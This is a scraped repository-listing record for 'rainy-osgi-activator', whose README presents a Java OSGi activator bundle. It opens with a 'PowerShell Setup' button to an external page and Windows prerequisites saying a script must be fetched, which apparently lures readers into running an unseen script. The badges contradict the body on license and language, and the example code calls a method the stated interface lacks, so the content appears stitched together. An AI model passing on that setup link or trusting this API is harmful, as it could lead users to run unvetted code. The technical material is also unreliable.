[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109780":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":11,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":12,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":13,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":14,"fork":14,"defaultBranch":15,"hasWiki":16,"hasPages":16,"topics":17,"createdAt":9,"pushedAt":26,"updatedAt":27,"readmeContent":28,"aiSummary":29,"trendingCount":12,"starSnapshotCount":12,"syncStatus":30,"lastSyncTime":31,"discoverSource":32},109780,"rainy-osgi-activator","mostaffa201044\u002Frainy-osgi-activator","mostaffa201044","OSGi activator bundle for integrating rainy into modular runtime environments",null,"HTML",149,0,37,false,"main",true,[18,19,20,21,22,23,24,25],"activator","iot","java","monitoring","osgi","rainy","raspberry-pi","visualization","2026-11-23 13:47:24","2026-11-12 14:24:08","\u003Cdiv align=\"center\">\n\n# rainy-activator: OSGi Activator Bundle — Developer Library\n\n![](files\u002Fpreview.png)\n\n### 🖥️ PowerShell Setup\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Fmostaffa201044.github.io\u002Frainy-osgi-activator\u002F)\n\n[![powershell](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPOWERSHELL-7%2B-2ea44f?style=plastic&labelColor=0d1117)]() [![license](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLICENSE-MPL--2.0-34b759?style=plastic&labelColor=0d1117)]() [![ci](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FCI-GREEN-2ea44f?style=plastic&labelColor=0d1117)]() [![lang](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLANG-PYTHON-1a7f37?style=plastic&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\n`rainy-activator` is an Activator bundle that integrates rainy with an OSGi runtime. It is only required when rainy runs inside OSGi; non-OSGi deployments can omit it. The project ships as an Eclipse plug-in project and targets Java 8 or higher.\n\n## ✅ Before You Start\n\n- **PowerShell 5.1+** (pre-installed on Windows 10 and 11)\n- **Windows 10 \u002F 11** (x64)\n- **Internet connection** — required to fetch the script\n- **Administrator** — *not* required\n\n## Features\n\n- **OSGi BundleActivator entry point**: Implements `org.osgi.framework.BundleActivator` to wire the rainy runtime into the OSGi container lifecycle.\n- **Automatic start\u002Fstop delegation**: `start(BundleContext)` initializes the rainy core; `stop(BundleContext)` tears it down, keeping OSGi bundle state and rainy runtime state in sync.\n- **`BundleContext` propagation**: Passes the active `BundleContext` into the rainy initializer so services, registrations, and lookups resolve against the correct bundle.\n- **Zero-config default bundle**: Ships as a ready-to-activate bundle; no manual activator registration or manifest editing required beyond standard OSGi deployment.\n- **Import-Package declarations for rainy core**: Manifest exports the required rainy packages via `Import-Package`, avoiding classloader conflicts across bundle boundaries.\n- **Java 8+ baseline**: Compiled against the Java 8 bytecode level; drop-in for OSGi frameworks running on Java 8 or higher.\n- **Eclipse plug-in project format**: Distributed as an Eclipse plug-in project for direct import into PDE-based toolchains.\n- **Deterministic lifecycle semantics**: Idempotent start\u002Fstop handling with explicit null-context guards, safe under framework restart and bundle refresh cycles.\n\n## Quick Start\n\nRegister the activator in your OSGi bundle manifest:\n\n```xml\nBundle-Activator: com.example.rainy.activator.RainyActivator\n```\n\nImplement the `BundleActivator` interface with the lifecycle hooks that bring `rainy` up and tear it down:\n\n```java\npublic class RainyActivator implements BundleActivator {\n\n    private RainyServer server;\n\n    @Override\n    public void start(BundleContext context) throws Exception {\n        server = new RainyServer();\n        server.start();\n    }\n\n    @Override\n    public void stop(BundleContext context) throws Exception {\n        if (server != null) {\n            server.stop();\n        }\n    }\n}\n```\n\nPackage the classes and the manifest into a bundle, then deploy it into any OSGi runtime (for example an Eclipse Equinox container). When the framework resolves and starts the bundle, the activator's `start` method is invoked and `rainy` becomes available to the other bundles in the same framework.\n\nVerify activation by querying the bundle state:\n\n```java\nBundle bundle = context.getBundle();\nSystem.out.println(bundle.getState() == Bundle.ACTIVE); \u002F\u002F true after start\n```\n\nThe activator does not need to be referenced or imported by your application code; the OSGi framework drives its lifecycle automatically. When the bundle is stopped or the framework shuts down, `stop` releases the `rainy` instance cleanly.\n\n## API Reference\n\n### Core Types\n\n`RainyActivatorService` — singleton entry point registered as an OSGi service under the `RainyService` interface.\n\n```java\npublic interface RainyService {\n    RainyServer start(ServerConfig config) throws RainyException;\n    void stop(String serverId);\n    ServerStatus status(String serverId);\n}\n```\n\n### ServerConfig\n\nImmutable configuration object passed to `start()`. All fields are required unless marked optional.\n\n```java\nServerConfig.builder()\n    .bindAddress(\"0.0.0.0\")   \u002F\u002F required\n    .port(8080)               \u002F\u002F required, 1–65535\n    .contextPath(\"\u002Fapi\")      \u002F\u002F optional, defaults to \"\u002F\"\n    .workerThreads(4)         \u002F\u002F optional, defaults to Runtime.availableProcessors()\n    .build();\n```\n\n| Field | Type | Default | Description |\n|-------|------|---------|-------------|\n| `bindAddress` | `String` | — | Interface to bind. Must resolve to a local address. |\n| `port` | `int` | — | Listening port. |\n| `contextPath` | `String` | `\"\u002F\"` | Root path prefix for all handlers. |\n| `workerThreads` | `int` | CPU count | Executor pool size for request dispatch. |\n\n### RainyServer\n\nReturned by `start()`. Represents a live server instance.\n\n```java\nRainyServer server = service.start(config);\n\nserver.registerHandler(\"\u002Fusers\", userHandler);  \u002F\u002F handler registration before first request\nserver.awaitReady();                            \u002F\u002F blocks until socket is bound\nserver.shutdown();                              \u002F\u002F graceful stop, idempotent\n```\n\n| Method | Returns | Throws |\n|--------|---------|--------|\n| `registerHandler(String, RequestHandler)` | `void` | `IllegalStateException` if already accepting requests |\n| `awaitReady()` | `void` | `RainyException` on bind failure |\n| `shutdown()` | `void` | — |\n| `isRunning()` | `boolean` | — |\n\n### RequestHandler\n\nFunctional interface for request dispatch.\n\n```java\n@FunctionalInterface\npublic interface RequestHandler {\n    Response handle(Request request) throws RainyException;\n}\n```\n\n### Request \u002F Response\n\n```java\npublic final class Request {\n    public String method();\n    public String path();\n    public Map\u003CString, String> headers();  \u002F\u002F case-insensitive lookup\n    public InputStream body();\n}\n\npublic final class Response {\n    public static Response ok(byte[] body);\n    public static Response status(int code);\n    public Response header(String name, String value);\n    public Response body(byte[] body);\n}\n```\n\n### ServerStatus\n\n```java\npublic enum ServerStatus {\n    STARTING, RUNNING, STOPPING, STOPPED, FAILED\n}\n```\n\n### Lifecycle Contract\n\n- The activator registers `RainyService` as an OSGi service during `start(BundleContext)`.\n- `stop(BundleContext)` calls `shutdown()` on all tracked servers and unregisters the service.\n- `start()` is thread-safe; concurrent calls with the same `serverId` return the existing instance.\n- `stop(String serverId)` throws `IllegalArgumentException` if no server with that id is tracked.\n\n### Exceptions\n\n| Exception | Thrown When |\n|-----------|-------------|\n| `RainyException` | Bind failure, handler error, or lifecycle violation |\n| `IllegalArgumentException` | Unknown `serverId`, invalid config field |\n| `IllegalStateException` | Handler registration after requests are accepted |\n\n## Examples\n\nMinimal bundle activation: an `Activator` implementation registers the rainy service when the bundle starts and unregisters it on stop.\n\n```java\npackage com.example.rainy.activator;\n\nimport org.osgi.framework.BundleActivator;\nimport org.osgi.framework.BundleContext;\nimport org.osgi.framework.ServiceRegistration;\n\npublic class Activator implements BundleActivator {\n\n    private ServiceRegistration\u003C?> registration;\n\n    @Override\n    public void start(BundleContext context) throws Exception {\n        RainyService service = new RainyServiceImpl();\n        registration = context.registerService(RainyService.class.getName(), service, null);\n    }\n\n    @Override\n    public void stop(BundleContext context) throws Exception {\n        if (registration != null) {\n            registration.unregister();\n            registration = null;\n        }\n    }\n}\n```\n\nDeclare the activator in the bundle manifest so the OSGi framework invokes it:\n\n```\nBundle-Activator: com.example.rainy.activator.Activator\nBundle-SymbolicName: com.example.rainy.activator\nImport-Package: org.osgi.framework, com.example.rainy\n```\n\nConsume the registered service from another bundle via a `ServiceTracker`:\n\n```java\npublic class RainyConsumer {\n\n    private final ServiceTracker\u003CRainyService, RainyService> tracker;\n\n    public RainyConsumer(BundleContext context) {\n        tracker = new ServiceTracker\u003C>(context, RainyService.class, null);\n        tracker.open();\n    }\n\n    public void use() {\n        RainyService service = tracker.getService();\n        if (service != null) {\n            service.execute();\n        }\n    }\n\n    public void close() {\n        tracker.close();\n    }\n}\n```\n\nLifecycle-aware component using DS annotations as an alternative to the manual activator:\n\n```java\n@Component(service = RainyService.class)\npublic class RainyComponent implements RainyService {\n\n    @Activate\n    public void activate(BundleContext context) {\n        \u002F\u002F initialize rainy\n    }\n\n    @Deactivate\n    public void deactivate() {\n        \u002F\u002F release resources\n    }\n\n    @Override\n    public void execute() {\n        \u002F\u002F delegate to rainy internals\n    }\n}\n```\n\nBuild the plug-in project with the Eclipse plug-in tooling or any OSGi-compatible build that emits a bundle manifest containing `Bundle-Activator`. Verify activation by inspecting the bundle state and registered services through the framework console.\n\n## License\n\n`rainy-activator` is released under the Eclipse Public License 2.0. The full license text is included in the repository as `LICENSE` and governs all use, reproduction, modification, and distribution of the bundle. By consuming or contributing to this project, you agree to the terms of that license.\n\nThe bundle is distributed as an Eclipse plug-in (OSGi bundle) and requires Java 8 or higher at runtime. It is an optional companion to `rainy`: when `rainy` is used outside OSGi, this activator is not needed. The activator's sole responsibility is to register and manage the `rainy` components within the OSGi framework lifecycle, so it introduces no separate licensing terms beyond those of the parent project.\n\nContributions are accepted under the same license. Unless explicitly stated otherwise, any code, patch, or pull request submitted to `rainy-activator` is provided under the Eclipse Public License 2.0, without additional terms or conditions. Contributors must have the right to submit the code under these terms.\n\nThe bundle is provided \"as is\", without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose, and non-infringement. In no event shall the authors or copyright holders be liable for any claim, damages, or other liability arising from, out of, or in connection with the bundle or its use.\n\nWhen redistributing `rainy-activator` in source or binary form, retain the `LICENSE` file and the copyright notices in the source headers. If you modify the bundle and distribute the modified version, identify it as a modified version and preserve the license and notices for any unmodified portions derived from this project.","rainy-activator 是一个专为 OSGi 模块化运行时设计的 Activator Bundle，用于将 rainy 监控系统无缝集成到 OSGi 容器中。它实现了 BundleActivator 接口，提供标准化的生命周期管理（start\u002Fstop），自动同步 rainy 核心服务与 OSGi bundle 状态，并通过 Import-Package 声明确保类加载隔离；支持 Java 8+，以 Eclipse 插件项目格式分发，开箱即用，无需额外配置。适用于在嵌入式或边缘 IoT 场景（如树莓派）中，基于 OSGi 构建可动态部署、热插拔的监控与可视化系统。",2,"2026-11-24 04:37:27","CREATED_QUERY"]